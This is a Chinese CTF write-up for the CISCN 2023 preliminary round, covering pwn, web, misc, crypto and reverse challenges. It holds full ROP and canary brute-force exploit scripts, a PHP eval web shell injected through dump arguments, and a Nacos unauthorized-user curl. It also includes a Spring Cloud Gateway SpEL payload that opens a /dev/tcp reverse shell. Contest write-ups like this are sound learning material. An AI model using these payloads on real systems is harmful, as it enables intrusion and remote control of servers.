ciscn2023初赛 writeup
第十六届全国大学生信息安全竞赛创新实践能力赛初赛wp。pwn 2/6, misc 5/7, crypto 4/7, re 2/6, web 3/6
序
又被带飞力,感谢队友。
PWN
烧烤摊儿
静态链接文件,开了 NX 和 Canary,虽然有金丝雀,但在后面存在栈溢出的函数里并没有这个检查。
首先是一个菜单,买啤酒或者烤串会扣除一定金钱,但是没有对输入的内容进行检查,尝试输入负数的商品数量,发现余额确实增加了。这样就可以输入一个大负数使得余额增大,然后去承包摊位。成为店主之后有个输入点,能重新修改店名,程序先往栈上的变量 v5 写,再把 v5 的内容拷贝到全局变量 name 中。我们要是写入了 ‘/bin/sh\x00’,就能知道这个字符串的地址了,即 name 的地址。
输入很长的一串字符串后发现程序报段错误,意味着是存在栈溢出的,而且没有金丝雀对我们的越界作限制。v5 数组的长度是 0x20,覆盖为 ‘/bin/sh\x00’ + 0x20 个垃圾字符,然后就能写返回地址了,直接打 ROP 控制程序执行流即可。
静态程序基本上 gadget 都非常全,控制 rax=59, rdi=name_addr, rdi=0, rsi=0
,然后去执行 syscall,即可执行到 execve('/bin/sh',0 ,0)
完整exp如下
from pwn import *
p = process('./shaokao')
#p = remote('39.105.187.49',42285)
context.log_level = 'debug'
p.sendline('2')
p.sendline('2')
p.sendline('-100000')
p.sendline('4')
p.sendline('5')
name = 0x4E60F0
pop_rax_rdx_rbx_ret = 0x4a404a
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
syscall = 0x402404
payload = '/bin/sh\x00'
payload += 'a'*(0x20-0x8) + p64(0)
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(name)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
funcanary
基本上就是出了道原题,利用 fork 进程来爆破 canary,然后就可以利用 0x10 字节的溢出来改返回地址到后门函数了,我的 exp 中爆破 canary 那部分直接扒的下方 blog 的模板。
Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)
这道题跟 blog 中的例题唯一一点不同是,程序开了 PIE,也就是说不能确定后门函数的具体地址了,但由于 Linux 内存和页面存在页对齐机制,所以函数地址的后12位是固定的,即 0x228
然后可以通过两个字节的溢出来改返回地址绕 PIE,后面再利用 fork 进程来爆破那半个不确定的字节即可。
完整exp如下
from pwn import *
context.log_level = 'debug'
bin_elf = "./pwn"
sh = process(bin_elf)
#sh = remote('39.106.48.123',30555)
elf = ELF(bin_elf)
def blasting(offset,input_prompt):
sh.recvuntil(input_prompt+'\n')
canary = '\x00'
for k in range(7):
for i in range(256):
success("Canary ->"+canary)
print "\n------------- No." + str(k) + ":" + chr(i)+" -------------"
sh.send('a'*offset + canary + chr(i))
recv = sh.recvuntil(input_prompt+"\n")
print "----"+recv
if "stack smashing detected" in recv:
continue
else:
canary += chr(i)
success("Canary =>"+canary)
break
return canary
canary = blasting(0x68, "welcome")
log.info("!!!canary:" + canary)
for i in range(16):
flag=i*0x1000+0x228
sleep(0.1)
sh.send('a'*0x68+canary+'a'*0x8+p16(flag))
sh.interactive()
WEB
unzip
由题目的代码可以感觉到这道题目可能是考的软连接
用软连接一个指web目录
第二个指向第一次创建的连接,就可以写文件进去到web目录里面
关键的命令为:
ln -s /var/www/html web
zip -y web.zip web
ln -s /flag flag
zip -y flag.zip web/flag
然后依次传上web.zip和flag.zip
最后访问/flag即可
dumpit
根据题目看到:
use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1
可以用db或table_2_dump来传参
于是写入一个shell
?db=-r "1.php" "<?=eval($_POST[1]);?>"&table_2_dump=flag1
发现过滤了,回显不对
包括cat,tac等读不了文件
于是传入
?db=-r "1.php" "<?=eval(phpinfo()) ?>"&table_2_dump=flag1
环境变量里找到flag
这应该算是非预期。
BackendService
题目为NACOS后台系统
看到用户登陆便在网上找到了相关的绕过:(未授权添加管理员)
由此,未授权加用户的payload:
curl http://ip:port/nacos/v1/auth/users -d "username=test&password=test" -H 'User-Agent: Nacos-Server'
添加后登陆,username和password都为test 进入管理界面
进入管理页面后寻找相关的漏洞
参考这篇文章:https://xz.aliyun.com/t/11493#toc-0
反弹shell后连接自己的vpn
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "lb://service-provider",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'sh', '-c', 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/6789 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
最终在根目录下找到flag
Misc
签到卡
随便输入一些python语句,在公众号上发消息“签到编码卡”,得到提示。然后使用以下命令即可得到flag
print(open('/flag').read())
被加密的生产流量
解压后得到流量包,流量分析。看见有modbus的名字,与文件名对应。
选中一条,使用tcp追踪流,能够发现零碎的字符串。
然后把他们拼接起来
MMYWMX3GNEYWOXZRGAYDA===
“===”的特征,是base32的解密,直接使用在线网站即可
得到字符串,加一个flag{}包起来就行。
国粹
将a图片和k图片进行拼接,a图片每个花色与k的每个花色一一对应,按万字牌、筒字牌、条字牌、花色种类的顺序排序1-42,得到多组坐标。
再一一排序转为横纵坐标进行画图。
脚本如下
import matplotlib.pyplot as plt
def plot_coordinates(coordinates):
x = [coord[0] for coord in coordinates]
y = [coord[1] for coord in coordinates]
plt.scatter(x, y)
plt.plot(x, y)
plt.xlabel('X')
plt.ylabel('Y')
plt.title('Coordinate Plot')
plt.grid(True)
plt.show()
coordinates = [(1, 4), (1, 5), (1, 10), (1, 30), (2, 3), (2, 4), (2, 5), (2, 6), (2, 10), (2, 29), (2, 30), (3, 3), (3, 4), (3, 10), (3, 16), (3, 17), (3, 22), (3, 23), (3, 24), (3, 25), (3, 29), (3, 30), (4, 2), (4, 3), (4, 4), (4, 5), (4, 10), (4, 15), (4, 16), (4, 18), (4, 21), (4, 22), (4, 24), (4, 25), (4, 29), (4, 30), (5, 3), (5, 4), (5, 10), (5, 15), (5, 17), (5, 18), (5, 19), (5, 21), (5, 22), (5, 25), (5, 28), (5, 29), (6, 3), (6, 4), (6, 10), (6, 15), (6, 16), (6, 18), (6, 19), (6, 21), (6, 22), (6, 25), (6, 29), (7, 3), (7, 4), (7, 10), (7, 11), (7, 12), (7, 13), (7, 15), (7, 18), (7, 19), (7, 22), (7, 23), (7, 24), (7, 25), (7, 29), (7, 30), (8, 3), (8, 4), (8, 11), (8, 12), (8, 15), (8, 16), (8, 17), (8, 18), (8, 19), (8, 20), (8, 25), (8, 29), (8, 30), (9, 21), (9, 22), (9, 24), (9, 25), (9, 30), (9, 31), (10, 23), (10, 24), (12, 22), (12, 23), (12, 24), (12, 25), (13, 2), (13, 3), (13, 4), (13, 5), (13, 9), (13, 10), (13, 11), (13, 12), (13, 16), (13, 17), (13, 18), (13, 19), (13, 24), (13, 25), (14, 2), (14, 5), (14, 6), (14, 9), (14, 12), (14, 19), (14, 23), (14, 24), (15, 5), (15, 9), (15, 12), (15, 18), (15, 19), (15, 22), (15, 23), (16, 4), (16, 5), (16, 9), (16, 12), (16, 17), (16, 18), (16, 23), (16, 24), (17, 3), (17, 4), (17, 9), (17, 12), (17, 16), (17, 17), (17, 24), (17, 25), (18, 3), (18, 9), (18, 12), (18, 16), (18, 25), (19, 3), (19, 4), (19, 5), (19, 6), (19, 9), (19, 10), (19, 11), (19, 12), (19, 16), (19, 17), (19, 18), (19, 19), (19, 21), (19, 22), (19, 23), (19, 24), (19, 25), (20, 10), (20, 11), (22, 3), (22, 4), (22, 5), (22, 6), (22, 10), (22, 11), (22, 12), (22, 17), (22, 18), (22, 19), (22, 24), (22, 25), (23, 3), (23, 6), (23, 7), (23, 9), (23, 10), (23, 16), (23, 17), (23, 19), (23, 20), (23, 22), (23, 23), (23, 24), (23, 25), (24, 3), (24, 6), (24, 7), (24, 9), (24, 10), (24, 16), (24, 19), (24, 20), (24, 24), (24, 25), (25, 3), (25, 6), (25, 7), (25, 10), (25, 11), (25, 12), (25, 16), (25, 19), (25, 20), (25, 24), (25, 25), (26, 3), (26, 6), (26, 7), (26, 12), (26, 13), (26, 16), (26, 19), (26, 20), (26, 24), (26, 25), (27, 3), (27, 6), (27, 7), (27, 9), (27, 12), (27, 13), (27, 16), (27, 19), (27, 20), (27, 24), (27, 25), (28, 3), (28, 4), (28, 6), (28, 9), (28, 10), (28, 11), (28, 12), (28, 16), (28, 17), (28, 19), (28, 20), (28, 24), (28, 25), (29, 4), (29, 5), (29, 17), (29, 18), (29, 19), (31, 10), (31, 11), (31, 12), (31, 13), (31, 25), (31, 31), (32, 4), (32, 5), (32, 6), (32, 10), (32, 11), (32, 12), (32, 13), (32, 17), (32, 18), (32, 19), (32, 23), (32, 24), (32, 25), (32, 26), (32, 32), (33, 3), (33, 4), (33, 6), (33, 7), (33, 12), (33, 16), (33, 17), (33, 23), (33, 24), (33, 26), (33, 32), (34, 6), (34, 7), (34, 11), (34, 16), (34, 17), (34, 23), (34, 24), (34, 26), (34, 32), (35, 6), (35, 11), (35, 12), (35, 17), (35, 18), (35, 19), (35, 23), (35, 24), (35, 25), (35, 26), (35, 33), (36, 5), (36, 12), (36, 13), (36, 19), (36, 20), (36, 26), (36, 32), (37, 4), (37, 5), (37, 13), (37, 16), (37, 19), (37, 20), (37, 25), (37, 26), (37, 32), (38, 4), (38, 5), (38, 6), (38, 7), (38, 9), (38, 10), (38, 11), (38, 12), (38, 13), (38, 16), (38, 17), (38, 18), (38, 19), (38, 24), (38, 25), (38, 31), (38, 32), (39, 23), (39, 24), (39, 31)]
plot_coordinates(coordinates)
画出的图片能看到大致 flag,猜一下即可
flag{202305012359}
pyshell
nc 连上发现输入什么都只会返回 ‘nop’,输入限制在7个字节内,且不能使用 =
符号
Pyshell 获取查看本地文件的命令为:
import os
os.system("ls")
此命令等价于: __import__('os').system('ls')
在本地 python shell 中可以执行此命令
考虑字符串的拼接绕过,使用 _
拼接命令,最后用 eval
函数执行 cat /flag
,即可得到 flag
Crypto
基于国密SM2算法的密钥密文分发
这个题目需要仔细阅读文档,一步步的按照提示去完成。
1.用户通过http协议服务器建立通信连接;
2. 用户将用户个人信息上报服务器,并获取id唯一标识;
3.用户使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器;
这里先要随机生成密钥对A:
A(公钥A_Public_Key、私钥A_Private_Key)
A(AD4388720A2DB378C34E7FDF5380AD2A008144550A2AD223897AC3CFAF11C448BE82BBF2F4D79CA26F1D6650CE09B8D22EAF2C4ECCA26234F4830EEC94E5A2D3,82BDBABDD689150A3A0E627DBB20C63139D7F7764576488D1269207124B6653B)
4.服务器使用国密SM2算法生成密钥对B(公钥B_Public_Key、私钥B_Private_Key)、使用量子随机数发生器产生16字节随机数C;服务器首先使用16字节随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文,然后使用A_Public_Key对16字节随机数C进行SM2加密得到随机数C密文;
5.服务器将公钥B_Public_Key明文、私钥B_Private_Key密文、随机数C密文传输给用户;
6.用户使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文;
B(公钥B_Public_Key、私钥B_Private_Key)
B(04d4438e7fe37d6e3c32aa53f4d0e3ba32f7fff3f12d31091822ffcaecababbb18a2ddd5599e073802e2352e20b84f12eae78cbb716b796ca76d05133efe95d8f3,8a030cc7695de24621b15c0b28fb7720461d4dd4a3447d398b234153d5bb0a24)
随机数C密文
76f9d053d855c1cea3963d67df6fc554d2e24760394fdd48eecc0307175cfb6f4de5c89de2d29f288cb3ca2c7c7f143b599392a54be52dd6e82e8fd43d8f789a2cba923b31a41da40df10ec5f04641013bb4b1b3233e97ae385bbfa0d4aef977f4716c74f7b3c5bd31ac51d751f645ce
直接使用在线工具解密密文C,还有私钥B_Private_Key明文也是在线解密
随机数C明文
AD74ED55E1223775021E53060DA5E0A7
私钥B_Private_Key明文
568C316A7A250EFF0F58278FA83E20860103809AE44C81D57808456ECF89574D
后面的操作就比较简单了
7.用户向服务器请求密钥,服务器使用公钥B_Public_Key明文,对密钥D(16字节)采用SM2算法加密,将密钥D密文传输给用户;
8.用户使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文;
9.用户将密钥D明文,上报至服务器进行验证,服务器返回参赛结果;
10.用户可向服务器查询个人信息及参赛结果
也是使用在线工具解密
密钥D密文
5a8a1462b800cea66483eddd751bfd635f7551bb8b6523375393275c5e9f9e1d9277e37a700bb87405b3df0da144801686fc0bdcc37eaaa5495a73b0a4d5b9a15586e6a53061476329561af25c2dc66da3e2a8dc4b187cb3a5339c6fce68d91db45568cdc41a76adc9f0b364504ec518
密钥D明文
BA87E9FF7837EA5FFD4C146EA7AC2E78
可信度量
本题我的是非预期解,主要是最近学习了操作系统原理这门课程,对于find的命令较为熟悉
使用xshell登录ssh服务器后,直接使用命令:
find / –type f |xargs grep -ra "flag{" grep
即可得到flag
Sign_in_passwd
本题虽然较为简单,但是主打一个猜
下面那串比较长,又有“%”,马上就想到url编码
使用cyberchef先解url
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
然后就是一个base64的换表
badkey1
proof_of_work()
函数要求用户找到一个长度为4的字符串XXXX
,使得sha256(XXXX + proof[4:])
等于给定的哈希值_hexdigest
。如果用户提供了正确的XXXX
,函数返回True,否则返回False。- 如果
proof_of_work()
返回False,程序将退出。 - 程序设置一个10秒的定时器。用户需要在10秒内完成接下来的任务,否则程序将被中断。
- 程序提示用户提供一个“错误的”RSA密钥对。用户需要输入两个质数p和q,这些质数需要满足一些条件(例如,它们必须是512位长的质数,且不能使p % e == 1 或 q % e == 1)。
- 程序尝试使用用户提供的p和q值构造一个RSA密钥对。如果构造成功,程序将输出"This is not a bad RSA keypair.“。如果在尝试构造密钥对时引发了
ValueError
异常(即密钥对不满足RSA算法的基本属性),程序将输出"How could this happen?”,并显示秘密标志(flag)。如果程序被中断(例如,由于10秒定时器到期),程序将输出"Hacker detected."
首先是proof
import hashlib
import itertools
import string
def find_proof(prefix, target_hash):
for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
test_str = ''.join(combination)
test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
if test_hash == target_hash:
return test_str
return None
proof_prefix = find_proof(proof_suffix, target_hash)
传入服务器发来的proof, target_hash
爆破sha256
接着构造d=k*q使得不满足RSA生成密钥的条件
from Crypto.Util.number import
while True:
p = getPrime(512)
e = 65537
k = inverse(e, p - 1)
t = (e * k * p - 1) // (p - 1)
for j in range(1, e+1):
if t % j == 0:
q = t // j + 1
if isPrime(q) and q.bit_length() == 512:
print(p)
print(q)
break
完成这两个条件即可得到flag
完整脚本如下
import hashlib
import itertools
from Crypto.Util.number import getPrime,inverse
from pwn import *
from Crypto.PublicKey import RSA
p = remote('39.105.26.155',29558)
t = p.recv()
hexdigest = t.decode('utf-8')[33:97]
proof = t.decode('utf-8')[12:28]
def find_proof(prefix, target_hash):
for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
test_str = ''.join(combination)
test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
if test_hash == target_hash:
return test_str
return None
result = find_proof(proof, hexdigest)
p.sendline(result)
t = p.recv()
print(t.decode('utf-8'))
# p.interactive()
weak_p = 10531798713566879985296310428910390829209559732187698122767912917088107059584145754739337891177477443973692234213380752118071230162618029537072442550315509
weak_q = 10354167589067169202907092046919351418658108936732776652403348338383910730719553355212239030073966381178568000602060877173120275918735882350052550806863399
p.sendline(str(weak_p).encode())
p.sendline(str(weak_q).encode())
t = p.recv()
print(t.decode('utf-8'))
Reverse
ezbyte
通过ida逆向后,找到关键函数:
然后就是readelf读取堆栈信息,
DW_CFA_val_expression: r12 (r12) (DW_OP_constu: 8722213363631027234; DW_OP_constu: 1890878197237214971; DW_OP_constu: 9123704; DW_OP_breg15 (r15): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2451795628338718684; DW_OP_constu: 1098791727398412397; DW_OP_constu: 1512312; DW_OP_breg14 (r14): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 8502251781212277489; DW_OP_constu: 1209847170981118947; DW_OP_constu: 8971237; DW_OP_breg13 (r13): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2616514329260088143; DW_OP_constu: 1237891274917891239; DW_OP_constu: 1892739; DW_OP_breg12 (r12): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_plus; DW_OP_plus; DW_OP_plus)
求解出R12-R15,最后就是简单的xor逻辑
str1 = [0x35, 0x62, 0x66, 0x65, 0x39, 0x30, 0x36, 0x65][::-1]
str2 = [0x65, 0x34, 0x2d, 0x65, 0x30, 0x37, 0x65, 0x2d][::-1]
str3 = [0x2d, 0x39, 0x36, 0x63, 0x61, 0x2d, 0x34, 0x39][::-1]
str4 = [0x63, 0x36, 0x39, 0x64, 0x31, 0x33, 0x63, 0x61][::-1]
key = str1 + str2 + str3 + str4
print(''.join([chr(i) for i in key if i]), end='')
print('3861', end='')
最后再包上个flag{}即可
babyRE
本题逻辑其实比较简单。就是一个xor的逻辑。但是题目给的是xml文件。因此需要把界面图形化后再继续做题。
使用xml文件中提供的网址进行图形化
找到关键的逻辑函数,现在就差字符串了。这里需要在左边最下面加一个say的框,还有secret。再把最右边那一列全部删掉。就能跑出字符串了。
然后就是xor的逻辑,即可得到flag
str=[102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]
flag=""
for i in range(1,len(str)):
str[i] =str[i]^str[i-1]
for i in range(len(str)):
flag+=chr(str[i])
print(flag)
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)